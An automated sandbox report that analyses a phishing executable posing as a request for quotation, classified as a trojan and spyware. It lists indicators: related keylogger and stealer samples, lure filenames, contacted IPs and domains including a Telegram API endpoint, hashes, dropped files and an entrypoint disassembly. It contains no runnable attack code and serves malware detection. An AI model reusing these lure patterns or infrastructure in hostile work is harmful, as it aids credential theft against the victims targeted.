Analysis ID:	1571272
Start date and time:	2024-12-09 08:30:19 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 11s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	8
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Request for Quotation New collaboration.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@3/8@5/5
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 96% Number of executed functions: 113 Number of non-executed functions: 114
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe
Excluded domains from analysis (whitelisted): ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, fe3cr.delivery.mp.microsoft.com
Not all processes where analyzed, report is missing behavior information
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: Request for Quotation New collaboration.exe

Simulations

Behavior and APIs

Time	Type	Description
02:32:50	API Interceptor	546x Sleep call for process: Request for Quotation New collaboration.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
149.154.167.220	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	file.exe	Get hash	malicious	Blank Grabber	Browse
	Solara.exe	Get hash	malicious	Unknown	Browse
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse
172.67.177.134	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	fiyati_teklif 65TIBBI20_ Memorial Medikal Cihaz Sipari#U015fi jpeg docx _ .exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	16547.js	Get hash	malicious	MassLogger RAT	Browse
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
	764GVLyJne.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse
132.226.247.73	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	checkip.dyndns.org/
	dekontu.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	pe61BNJmLf.exe	Get hash	malicious	Snake Keylogger	Browse	checkip.dyndns.org/
	Halkbank_Ekstre_2024123_081142_787116.exe	Get hash	malicious	MassLogger RAT	Browse	checkip.dyndns.org/
	ozctQoBg1o.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	SPhzvjk8wx.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	Q0Sh31btX8.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/
	o7H9XLUD9z.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	checkip.dyndns.org/

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
checkip.dyndns.com	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	158.101.44.242
	SIPARIS TEYIT FORMU VE PROFORMA FATURA.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.6.168
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	193.122.130.0
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.130.0
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	193.122.6.168
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	158.101.44.242
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	DEKONTU.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
api.telegram.org	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	Solara.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	149.154.167.220
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	149.154.167.220
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	149.154.167.220
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
reallyfreegeoip.org	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	104.21.67.152
	SIPARIS TEYIT FORMU VE PROFORMA FATURA.exe	Get hash	malicious	MassLogger RAT	Browse	104.21.67.152
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	104.21.67.152
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	DEKONTU.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.6

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	file.exe	Get hash	malicious	Blank Grabber	Browse	149.154.167.220
	Solara.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	149.154.167.220
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	149.154.167.220
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	149.154.167.220
	new.ini.ps1	Get hash	malicious	Unknown	Browse	149.154.164.13
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkTortilla, Discord Token Stealer, DotStealer, LummaC Stealer, Stealc	Browse	149.154.167.220
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
CLOUDFLARENETUS	http://74.50.69.234/	Get hash	malicious	Unknown	Browse	104.18.95.41
	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	104.21.16.9
	http://metrics.gocloudmaps.com	Get hash	malicious	Unknown	Browse	172.67.137.184
	file.exe	Get hash	malicious	LummaC Stealer	Browse	172.67.165.166
	Msig Insurance Europe.pdf	Get hash	malicious	Unknown	Browse	104.18.69.40
	download.ps1	Get hash	malicious	Unknown	Browse	104.20.22.46
	x.ps1	Get hash	malicious	PureLog Stealer, Quasar	Browse	104.26.12.205
	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	172.67.209.252
	DXzJ8Bi7WC.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.16.9
	IJGLxMMTaK.exe	Get hash	malicious	Unknown	Browse	104.26.0.5
UTMEMUS	meerkat.mips.elf	Get hash	malicious	Mirai	Browse	132.240.30.2
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.8.169
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	IBAN Payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	132.226.247.73
	DEKONTU.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	dekontu.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	QUOTATION_DECQTRA071244PDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.247.73
	mpsl.elf	Get hash	malicious	Unknown	Browse	132.226.95.75
	16547.js	Get hash	malicious	MassLogger RAT	Browse	132.226.8.169
	PO#2207008 .docm	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
54328bd36c14bd82ddaa0c04b25ed9ad	x.ps1	Get hash	malicious	PureLog Stealer, Quasar	Browse	172.67.177.134
	Y5kEUsYDFr.exe	Get hash	malicious	Unknown	Browse	172.67.177.134
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	SIPARIS TEYIT FORMU VE PROFORMA FATURA.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	INVOICES.bat.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	BL-100410364195.exe	Get hash	malicious	MassLogger RAT	Browse	172.67.177.134
	INQUIRY REQUEST AND PRICES_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Bank Swift and SOA PRN00720031415453_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	RFQ Order list #2667747.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
	Payment Details Ref#577767.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse	172.67.177.134
3b5074b1b5d032e5620f69f9f700ff0e	file.exe	Get hash	malicious	Amadey, Credential Flusher, DarkVision Rat, LummaC Stealer, Stealc	Browse	149.154.167.220
	file.exe	Get hash	malicious	DarkVision Rat, Xmrig	Browse	149.154.167.220
	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	qhjKN40R2Q.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	149.154.167.220
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	Unknown	Browse	149.154.167.220
	TRANSFERENCIA COMPROBANTES.lnk	Get hash	malicious	XenoRAT	Browse	149.154.167.220
	Transferencia.lnk	Get hash	malicious	XenoRAT	Browse	149.154.167.220
	Hesap_Hareketleri_09122024_html.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
37f463bf4616ecd445d4a1937da06e19	cllmxIZWcQ.lnk	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	qhjKN40R2Q.lnk	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	s0zqlmETpm.lnk	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	gorkmTnChA.exe	Get hash	malicious	DCRat, PureLog Stealer, zgRAT	Browse	172.217.19.174 142.250.181.33
	esetonlinescanner.exe	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	esetonlinescanner.exe	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	h0UP1BcPk5.lnk	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	vzHOEzLbDj.exe	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	WaveExecutor.exe	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33
	Nexus-Executor.exe	Get hash	malicious	Unknown	Browse	172.217.19.174 142.250.181.33

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Request for Quote and Collaboration Docs.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	Request for Quote and Collaboration Docs.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	REQUEST FOR QUOATION AND PRICES.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	IBAN payment confirmation.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	Bank Swift and SOA PRN0072003410853_pdf.exe	Get hash	malicious	GuLoader, MassLogger RAT	Browse
	WC10SCPMaX.exe	Get hash	malicious	Azorult, GuLoader	Browse
	PayeeAdvice_HK54912_R0038704_37504.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse
	CL714440147.exe	Get hash	malicious	GuLoader	Browse
	TKnBbCiX07.exe	Get hash	malicious	GuLoader	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Temp\nso7880.tmp\System.dll

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11264
Entropy (8bit):	5.801108840712148
Encrypted:	false
SSDEEP:	192:e/b2HS5ih/7i00eWz9T7PH6yeFcQMI5+Vw+EXWZ77dslFZk:ewSUmWw9T7MmnI5+/F7Kdk
MD5:	FC90DFB694D0E17B013D6F818BCE41B0
SHA1:	3243969886D640AF3BFA442728B9F0DFF9D5F5B0
SHA-256:	7FE77CA13121A113C59630A3DBA0C8AAA6372E8082393274DA8F8608C4CE4528
SHA-512:	324F13AA7A33C6408E2A57C3484D1691ECEE7C3C1366DE2BB8978C8DC66B18425D8CAB5A32D1702C13C43703E36148A022263DE7166AFDCE141DA2B01169F1C6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: Bank Swift and SOA PRN0072003410853_pdf.exe, Detection: malicious, Browse Filename: Request for Quote and Collaboration Docs.exe, Detection: malicious, Browse Filename: Request for Quote and Collaboration Docs.exe, Detection: malicious, Browse Filename: REQUEST FOR QUOATION AND PRICES.exe, Detection: malicious, Browse Filename: IBAN payment confirmation.exe, Detection: malicious, Browse Filename: Bank Swift and SOA PRN0072003410853_pdf.exe, Detection: malicious, Browse Filename: WC10SCPMaX.exe, Detection: malicious, Browse Filename: PayeeAdvice_HK54912_R0038704_37504.exe, Detection: malicious, Browse Filename: CL714440147.exe, Detection: malicious, Browse Filename: TKnBbCiX07.exe, Detection: malicious, Browse
Reputation:	moderate, very likely benign file
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L.....oS...........!.................'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............................... ..`.rdata..C....0......."..............@..@.data...x....@.......&..............@....reloc..>....P.......(..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsy7785.tmp

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	1206774
Entropy (8bit):	3.4406286834243858
Encrypted:	false
SSDEEP:	12288:z8rRdeydfTa+aRU3Pl2onuFBqMKYfMWpKJ:ofjZLngqKpK
MD5:	8CF43A4B246BC533556262F5516B1E7A
SHA1:	64F8C227C7E113DB85E66288341DA20731FBE0FA
SHA-256:	D637111F8514E6CE07D7C37400A24BC71163A5647210C9CE79B4C6FB4045A767
SHA-512:	C2F0DA5420C3B1A6AF18351EB71D77165397234921AB2D438E0F5FC329875CBF415991C3C37D5F34FECA930D1532B5C9DFAA327EF28C01A82FFFA1C345F3BB1B
Malicious:	false
Reputation:	low
Preview:	.:......,.......,.......\.......L$.......9.......:............................................................u.........................R...................................................................................................................................................G...J...............h...............................................................g...............................................................j..............................................................................................................................._.......................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\Housemates.Irr227

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	56360
Entropy (8bit):	4.627551145757101
Encrypted:	false
SSDEEP:	768:8NH3BldZACKhrgFgJBt1GuZOoLcoutzlEIPDn/zccQDvBZ3:IHRbeBhsFMBvGEY3Pr/zcck3
MD5:	82571859C65DA2518D77D22FDAC0E8B0
SHA1:	0DFDEC2B5B9878A9FD66C3054B8AD28B835DD08C
SHA-256:	5FFEBC9CF96F2BD70615553E4039F2D7FB22C352DA278B1E01D428755BC8CDEA
SHA-512:	B6FA725E49D024C71DC8C5F71123644B9BC447E21AB3F62458C6BD6995B7B76A9AE48B29B2E8479C1EDA7298CDE0FC53D817641B8BFFC5ABB1A4527A47871295
Malicious:	false
Reputation:	low
Preview:	.......''.9.......X...K.w....................S...[[..............\|................nn.44....vv................(...........?.........++.....1...W.[[.(....0000..............,,,,.........*..).....l...:....+.ii..!!.........................i..................".p.1...................................8.3.^^^^.........W......ZZZZ..#####............J.L.kk...5..k..............T.....w.....=..7.......kkk.................RRR.8.....cc......................$.i...,...5555....'....'..........++.SS..b....bbb..EEE.........................9999.GGG..}...................IIII..............qq.zz.....88............3333333.000...{....,. ..............^^.www.....j..==.#####.........bbb..hh.... .....hhh..........r.11........))))..............}}.........N..c..........G.......,.........W........................RR...6........................ddddd....^^..H...............tt..........@...........'''''.....V....ss........ll...))).......FF.............>>.......................P.............C....;....,,...................5

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\img2.jpg

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 225x225, components 3
Category:	dropped
Size (bytes):	2929
Entropy (8bit):	7.418910042244289
Encrypted:	false
SSDEEP:	48:j2XBhBOaFxHfEaq1kk1YunCRbvwxhjAxnyHIvR4SnHP7oNLpLR8Fqhr:j2XBv9Fx2kkO7RihjlovpnHPCpaQ1
MD5:	49DAF4E74443D8502F3229468615185F
SHA1:	9BB41BF5F382EE315893366F559FA26D57A4CD5F
SHA-256:	E5EE495A89E55467DB6A396F012EDB6A71D2E762CFC7FC6846FE7259528BF168
SHA-512:	EE9ABC6A19215FED64584BA24736ECBA24139CD03A75530FF351C99A25628410472A28F4EE08E87CE1F75DC79396A2A9C1AC79C399720C320437BC18993B561A
Malicious:	false
Reputation:	low
Preview:	......JFIF...................................................( ..%...!1!%)+.....383-7(-.+...........+...+8+++-+-+-+--+--+7+---+7-7+-7-7++---++-+7--7-+7+-+..........."........................................E........................!.1AQq."a...2...BR....#3Cbr...S......4DUcs..................................................1!............?.................................................................................@...............@........'7.O\|.(....i.<..M.4....vZ...-T.,~.&../...m.:.6..oe.;WZ]m[..:..:\.6U...........ey....F..m.I...6..G..S.z4..>..1p...E~OG.fQD.............I....$"@...9.g..]d.Ao..!.f../.oH..}.6.INNRm..l..ngV..+G...b$V.N...k.....=.........IR.KoG.qrJ...c..)..N[W..z.....h.R..Tm......ME....M....E...9.OI=.roU..%.&..a1p...;.\S..\|..x..._U..L....w>...............A$...D....0s.F.)s.uy..\._7......DbE..z....r.E...r7\|.1..}=......./.a.r.NJJs.........+...&..,...9.wm..V.ddlx.....e.f..4T.x.y>\..n....7.tu......M.gq[.6.......>.N.#....kzw,..(.QJ*K.L.......... .

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\pinrail.whe

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	461378
Entropy (8bit):	1.252059381950645
Encrypted:	false
SSDEEP:	1536:s3tr+hilKd11tUzcxZg7SBobbR5FF7b7IvSog:sRVmQc3u9F7b76
MD5:	3AD2FE4EA13486258EADDD1E5940A6D7
SHA1:	06D0468A125D754D4534C182D79444DFB7A1CF61
SHA-256:	E4C5F20595C446D20C978CF7B486579BA2FFC17E64B940733B40C89DF4331319
SHA-512:	82328E01492BDB8B23555CB369279A5352B35E0B51A4A4AC88D9F9285BBDABA627FE01139B4F9669847252D5A59FC512B2463A364EFD5C33B83309D6A8985D59
Malicious:	false
Reputation:	low
Preview:	w......................j..........................p................................................-.......................;....................Y..........................1:....................................................................................G........B...............................................................................^.........................................................o.................'......................... .....................................F..................................................................................................................E...........................................97.....................................K...f.....r..........._...............h........+........................ ........./.............................d........m..........................b...................e.c......................................................................\...........5......t.....................b.................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Astrolabe\unyouthfully.ske

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	225641
Entropy (8bit):	1.2362366155163755
Encrypted:	false
SSDEEP:	768:HcPiBl7QD/ad4B+etLBBF64vscOIBiMFYnfBc1TS/HVtHlY4bDzZkmNQyFY670Fn:QaxOPt/G9V4yf7P/zZkX00b/h
MD5:	94C4B93474D07658FCBD411A20E68532
SHA1:	66421117EB902B48D39A1514C88C868394085FCF
SHA-256:	50B1D7356F0CC22F2A9AE93A7CC9738C6BC0907724ACDB85F68F594333B706DC
SHA-512:	BC1C40FF5B9FD71590E9B3E71D7B58A46E8AFBE56DFBD22C39F5DC0952ACEDC96F2BC4D8428EA0BCD75D67BD32F2B095585925CD8141063801FB128EA46F7471
Malicious:	false
Preview:	..........................~................................................/........[...............................................R......................R....................................................{.....................................E.........................E.....................................................8...../...................................5.............................................K...........................*.....................................k...................\|.......=....................s....................................................................p...2...................................g.N................#................~......................................B..................................................J........................?............................{./.........................U................................z...........+..........................................................K..........................................A......

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Genoprettendes\Emalje.kap

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	161977
Entropy (8bit):	1.2465706431701635
Encrypted:	false
SSDEEP:	768:j91kr2E4uLB4rAvVSJUxZOKLuPYUIlh6njQqVK+P7T6r6hI4W7lD1jBCgUpo:94irAZug+TLg1cpo
MD5:	818D9B577C6A2CCB8C8D753C89B0AEED
SHA1:	1912E60E75B47E0AC0B0ACDB2B320F0B36D3CE22
SHA-256:	B53DFB245A8D5A0F0FAEEC7E8B4AE273522AC29FD29B33608F9BA7F9ADB90279
SHA-512:	91993AA2E3E2666A3945886101B2B670CD3B0D76CF3CFFF3684DCB310FE324A1C650FAB5D5D00B8CFA49B5A7713FE2DBBA6DC2D8BB8DAC7A169495E6694CE4C6
Malicious:	false
Preview:	................(.R.............B...........f....H...................................................5....................................5........m............................./................?................4...............................l..........................................U..........................................................#....................M..............................................................g...................................................l..................f....................?.........................._..........................................................................u......x....................l....................~.......................S...C.............................................................................................).................l......................................................................................................................b...k................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Templates\Kopieringsprogrammet\Woolwheel.Non

Download File

Process:	C:\Users\user\Desktop\Request for Quotation New collaboration.exe
File Type:	data
Category:	dropped
Size (bytes):	272109
Entropy (8bit):	7.784373707745681
Encrypted:	false
SSDEEP:	6144:kNydfTa+6Dxh9XUVhPW4KzP5Vcu6pUZ3BqMHazBC:GydfTa+aRU3Pl2onuFBqMKA
MD5:	AA6D4524C5DBEC71E84D6AA704AECDD4
SHA1:	E6C70157685CA6FFB2CC4CB6847663A18A61A238
SHA-256:	9DE8C350DD334BEA379A5235DDDA7C325EE1ABAD472F197D4CB6410371C921EB
SHA-512:	98E9CAED8A5C47CA953D1681CD0A441538EEB02930C6EB901A8F412A245D04CC820B6323CC8E58D2FD04CBD41B5403D5255E9622362C71A317B44BE2FFCC6118
Malicious:	false
Preview:	.......................................LLLLL.......B..............P.VVVVVV......KKKKK...........................................................................11...........................B.Z..........%....&...6......[[......tt.....w.....QQQQ......................././/....:.............f..........gg......GG..'...........!.....=..................Z.................)))..555......`....n.i.7...................................!!!.........8888888......K.............iii........................................9....................x...........;......r........................C.......}.{{.....gggg......R..............iiii......Z...7... .....................:::...........j......gg.............z....ZZZZZZ...nn.....OO..XXX.......................ffff.j..........................__....vv.....HH.................vv..l..............l...............#............VVVVVVVVVV...>..((....................ZZZZ.....................UU."....................QQ.....................................###.YYY...cc...\\\...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Entropy (8bit):	7.059027947424247
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Request for Quotation New collaboration.exe
File size:	727'801 bytes
MD5:	1e4847dd3c262a4303261601f0197a42
SHA1:	eaa9a7dbdf8211dbe248b739480e349c0fb56583
SHA256:	cb076958b9db298f34a9eeaafc4796f6d902b19b1696b76179db10612d371608
SHA512:	76620c6decf9b5ae48ddf5eda391081d568a0de7e6d87c814040614000d9b1f989466ec8a8ea9395dd45ea927a77c2f3bc848bf8910ad578bef31299801b312d
SSDEEP:	12288:xlYZmcRHOAXnPlX1V6loPrHA8P4xq0xnVBTjJ:UmcdOA3PlXularHbP4xfxPJ
TLSH:	89F4D01F1B069446EF9415F2B8A3DE8351F5BEBC217933456DA2FE1780B6F703A4A488
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1.D9u.ju.ju.j..ujw.ju.+j..j..wjd.j!..j..j..,jt.jRichu.j........PE..L.....oS.................`.........Z3.......p....@

File Icon


Icon Hash:	058cc0e474936126

Static PE Info

General

Entrypoint:	0x40335a
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
DLL Characteristics:	TERMINAL_SERVER_AWARE
Time Stamp:	0x536FD79B [Sun May 11 20:03:39 2014 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	e221f4f7d36469d53810a4b5f9fc8966

Entrypoint Preview

Instruction
sub esp, 000002D4h
push ebx
push ebp
push esi
push edi
push 00000020h
xor ebp, ebp
pop esi
mov dword ptr [esp+14h], ebp
mov dword ptr [esp+10h], 00409230h
mov dword ptr [esp+1Ch], ebp
call dword ptr [00407034h]
push 00008001h
call dword ptr [004070BCh]
push ebp
call dword ptr [004072ACh]
push 00000008h
mov dword ptr [00429298h], eax
call 00007FAC6891B14Ch
mov dword ptr [004291E4h], eax
push ebp
lea eax, dword ptr [esp+34h]
push 000002B4h
push eax
push ebp
push 00420690h
call dword ptr [0040717Ch]
push 0040937Ch
push 004281E0h
call 00007FAC6891ADB7h
call dword ptr [00407134h]
mov ebx, 00434000h
push eax
push ebx
call 00007FAC6891ADA5h
push ebp
call dword ptr [0040710Ch]
cmp word ptr [00434000h], 0022h
mov dword ptr [004291E0h], eax
mov eax, ebx
jne 00007FAC6891829Ah
push 00000022h
mov eax, 00434002h
pop esi
push esi
push eax
call 00007FAC6891A7F6h
push eax
call dword ptr [00407240h]
mov dword ptr [esp+18h], eax
jmp 00007FAC6891835Eh
push 00000020h
pop edx
cmp cx, dx
jne 00007FAC68918299h
inc eax
inc eax
